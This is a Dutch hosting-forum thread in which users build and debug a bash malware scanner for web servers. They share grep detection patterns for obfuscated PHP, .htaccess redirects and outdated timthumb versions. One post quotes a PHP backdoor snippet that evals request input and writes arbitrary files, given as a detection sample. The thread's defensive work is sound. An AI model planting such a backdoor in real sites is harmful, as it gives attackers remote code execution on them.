Bekijk Volledige Versie : Je webserver/server scannen voor malware of geinfecteerde bestanden
Hi Guys,
Vroeger kwam ik wel eens op dit forum om bepaalde dingen op te zoeken.
Maar nu is het dus tijd om wat terug te doen ( zouden meer mensen moeten doen ).
Sinds enkele dagen ben ik begonnen aan een nieuw project, genaamd Simple Server Malware Scanner. ( afgekort smscanner )
Het is een script die naar geïnfecteerde bestanden zoekt, denk bijvoorbeeld aan .html of .php bestanden waar malicious code in staat ( JavaScript / iframes enz. ).
Hierbij kun je ervoor kiezen om dit te loggen, of enkel in plaintext te parsen in je terminal. Naast .html en .php bestanden wordt er ook gekeken of er shells aanwezig zijn in je www directory, denk bijvoorbeeld aan de C99 shell variant die je vaak op gedefacede servers aantreft. En kun je ervoor kiezen om naar java/exe bestanden te zoeken ( voor als de boeven jou servers als malware pot willen gebruiken ).
Mocht bovenstaande opties niet genoeg zijn dan kun je je server ook nog scanner op open staande poorten ( backdoors bijvoorbeeld ).
Alles werkt naar behoren, alleen is het nog geen 1.0 release maar een soort van beta. Dus ik hoop dat jullie hem willen testen en hoop ik dat jullie tips / suggesties hebben. Natuurlijk kom je dan in de README te staan. Mocht je de code willen verbeteren dan is dit ook toegestaan, voeg de wijzigen dan wel in de Tickets / forums toe.
Het project met de benodigde screenshots zijn te vinden op https://sourceforge.net/projects/smscanner/.
Screenshot:
https://sourceforge.net/projects/smscanner/screenshots/9-10-2012%209-28-28.png
( Letop: inmiddels zitten er meer functies in gebouwd )
Met vriendelijke groet,
Unflux
Dit soort dingetjes is nooit verkeerd. Goeie actie.
Het heeft wel iets weg van dit (http://www.rfxn.com/projects/linux-malware-detect/) script. Deze is alleen wel wat lastig configgen.
Hoe worden de updates van scan methoden gedaan?
Dit script zoekt enkel in de bestanden naar malicious strings, dus niet naar MD5 hashes aangezien dat nutteloos is ( hoewel het bij oude malware wel zou moeten werken ).
Daarbij is dit script er alleen voor bedoeld om servers van een snelle scan te voorzien. Bijvoorbeeld als een klant je een emailtje stuurt met de ontdekking dat zijn website geïnfecteerd is, of omdat hij het vermoeden heeft. Heb je het al getest?
Is het ook snel? Of zou het als je 's nachts je hele server zou scannen traag worden?
Maar top dat je het deelt!
SelectHost
09/10/12, 13:43
Lijkt me een handig script, als we wat tijd over hebben zullen we het zeker testen. bedankt al vast om het te delen !
Net getest en het werkt prima op FreeBSD. Wel gezeik met ^M na elke regel...
Ik zal eens uitzoeken of ik mee kan helpen via SourceForge (nog nooit gedaan), heb wel aardig wat ervaring met bash in combinatie met dit soort dingen.
Ik heb een zelfde soort fix script gemaakt die .php/.html/.js/.htaccess scant en zo lijnen filtert, rechten goedzet, opruimt en waar mogelijk ook beveiligt. (als de software oScommerce is dan includes/configuration.php op 400 en noexec .htaccess in images map etc)
Wil je die kant ook op? Of blijft het bij scannen? Anders stuur ik je graag mijn fix.sh op om die eens te bekijken en waar mogelijk zaken te combineren!
Net getest en het werkt prima op FreeBSD. Wel gezeik met ^M na elke regel...
cd /usr/ports/converters/unix2dos && make install && dos2unix $file
Zojuist een aantal opties toegevoegd, en het is inderdaad rete snel :) Ik zal morgen een aantal tests uitvoeren met bijvoorbeeld een wordpress directory, een forum, en bepaalde hoeveelheden bestanden en hier een grafiek van maken.
Daarbij dien je in veel gevallen eerst apt-get install dos2unix te installen, of bovenstaande code te gebruiken om de ^M's weg te halen. na morgen hoef je dit ook niet meer te doen, en wordt dit automatisch gedaan na iedere update die op sourceforge komt. thnx voor de tests en dit soort tips :) daar kan ik wat mee.
@Keizer dat zou erg tof zijn! heb je een account op sourceforge? dan lijkt het me handig als ik je developer rechten geeft, zodat je ook bij mijn code kunt.
@vDong thanks, ik deed het altijd met sed maar dit werkt een stuk makkelijker :)
@Unflux nee ik heb geen sourceforge account en weet ook nog niet of ik daar aan moet beginnen, aangezien ik daar geen ervaring mee heb
Ik heb mijn recente zoekopdrachten even gebundeld en in jouw script gezet als optie 9 om te testen (voor op DirectAdmin), zie:
9 ) echo "Scanning all public_htmls'"
echo "Checking .php files"
date
find /home/*/domains/*/public_html/ -iname '*.php*' -print0 | xargs -0 grep --color \
-e 'eval(stripslashes(gzinflate(base64_decode' \
-e 'eval(gzinflate(base64_decode' \
-e 'gzinflate(base64_decode'
echo "Checking .js files"
date
find /home/*/domains/*/public_html/ -iname '*.js' -print0 | xargs -0 grep -il --color \
-e 'try{ebgserb++;}'
echo "Checking .htaccess files"
date
find /home/*/domains/*/public_html/ -iname '.htaccess' -print0 | xargs -0 grep --color \
-e '|google|' \
-e '.google. [OR]' \
-e '|yahoo|' \
-e '.yahoo. [OR]' \
-e '.ru/'
echo "Checking for common malicious files"
date
find /home/*/domains/*/public_html/ -iname 'wp-image.php'
find /home/*/domains/*/public_html/ -iname 'wp-stat.php'
;;
Maar waterdicht is het nog lang niet natuurlijk, en ik vraag me af of dat ook echt lukt.
Eigenlijk zou die "/home/*/domains/*/public_html/" in een variabele moeten komen die geset wordt door de keus van het CP. Het is wat mij betreft ook niet nodig om bestanden buiten de public_html map te scannen op infecties (misschien als een optie).
Het lijkt mij het mooiste als er online een lijstje komt te staan van te gebruiken zoektermen en die allemaal in de grep commando gooien.
Oja ik liep tegen een bugje aan als er een spatie in de foutmelding zit.. daarvoor moet je de find commando met -print0 uitbreiden en daarna xargs -0 grep, zie mijn code hierboven!
Thanks Keizer!
Dit zal ik z.s.m. dan ook testen! in de volgende update neem ik het mee
Robert Esseveld
16/10/12, 11:12
Mooi script, super handig:-)
:lovewht:
Thanks! Doet het uitstekend.
Ik heb nog een timthumb.php scan functie gemaakt:
8 ) echo "Scanning for older versions of timthumb.php"
find /home/*/domains/*/public_html/ -iname 'thumb.php' -o -iname 'timthumb.php' -print0 | xargs -0 grep --color \
-e 'VERSION'\'', '\''1.' \
-e 'VERSION'\'', '\''2.7' \
-e 'VERSION'\'', '\''2.8'\''' \
-e 'VERSION'\'', '\''2.8.1'\''' \
-e 'VERSION'\'', '\''2.8.2'\'''
date
;;
Volgens mij klopt hij zo wel aardig, of heeft iemand nog tips?
Ben net ff een testje aan het doen, maar zie dat de aanvullingen van Keizer nog niet in de sourceforge zitten.
Verder moet ik zeggen dat het er handig uit ziet.
Ik heb zowel de DirectAdmin als de timthumb module toegevoegd. Morgen komen de testresultaten op de sourceforge pagina te staan.
Keizer ik heb je nickname in het script toegevoegd, meer info volgt no op SF :)
Ramon Fincken
04/11/12, 20:51
Met timthumb is opzich niets mis, maar WEL als ie op allow_external op true staat. Wellicht is dat te checken?
Met timthumb is opzich niets mis, maar WEL als ie op allow_external op true staat. Wellicht is dat te checken?
Ja maar aangezien hij standaard op true staat (bij de oudere versies) en 99 van de 100 gebruikers hem zelf niet installereert en/of configureert leek het me handiger om de oude versies op te sporen om zo up te daten.
Ik had deze thread helemaal gemist. Goed initiatief en ik ga het ook gelijk testen. Bedankt UnFlux! :)
Interessante tool, maar hoe doe je dat bij DA optie 1 iFrames scan?
Where are the websites located?
Eg. /var/www/
In DA staan die onder /home/user/domains/domeinnaam/public_html
Kun je hier asterisk voor plaatsen?
Bijvoorbeeld: /home/*/domains/*/public_html of moet het anders?
Misschien nog een bugje gevonden bij de DA .htaccess scan:
Scanning all public_htmls'
Checking .php files
Fri Dec 14 17:30:28 CET 2012
Checking .js files
Fri Dec 14 17:30:30 CET 2012
Checking .htaccess files
Fri Dec 14 17:30:30 CET 2012
./ServerAnalyser-v1.0.0.sh: line 101: -e: command not found
Checking for common exploited files
Fri Dec 14 17:30:30 CET 2012
Command not found?
Dat lijkt me prima werken ja, probeer het eens uit zou ik zeggen ;)
En die command not found?
Lijkt een foutje te zijn geslopen in de laatste versie:
-e 'RewriteCond' |
Die | moet een \ zijn, alleen snap ik überhaupt niet waarom er op 'RewriteCrond' gezocht wordt.
Oke thanks, pas ik het wel even aan.
Nog een kleine aanvulling:
Tegenwoordig doet dit commando goede zaken:
find . -name "*.php" -print0 | xargs -0 grep --color "eval" | grep --color "fopen"
voor dit soort meuk:
$jmjnzn = "c5c1253ded399f622d32b00c60463ce16"; if(isset($_REQUEST['pbiuv2sbn'])) { $ypj12pz = $_REQUEST['pbiu3vsbn']; eval($ypj12pz); exit(0); } if(isset($_REQUEST['nqlqj2gzh'])) { $odm43d = $_REQUEST['d3dhelca']; $en12mc = $_REQUEST['nqlqj2gzh']; $wrcs = fopen($e1nmc, 'w'); $sd423vck = fwrite($w2rcs, $odm3d); fclose($wr5cs); echo $sdv7ck; exit();
Ik zal het deze week ook even gaan testen en mijn bevendingen laten weten..;-)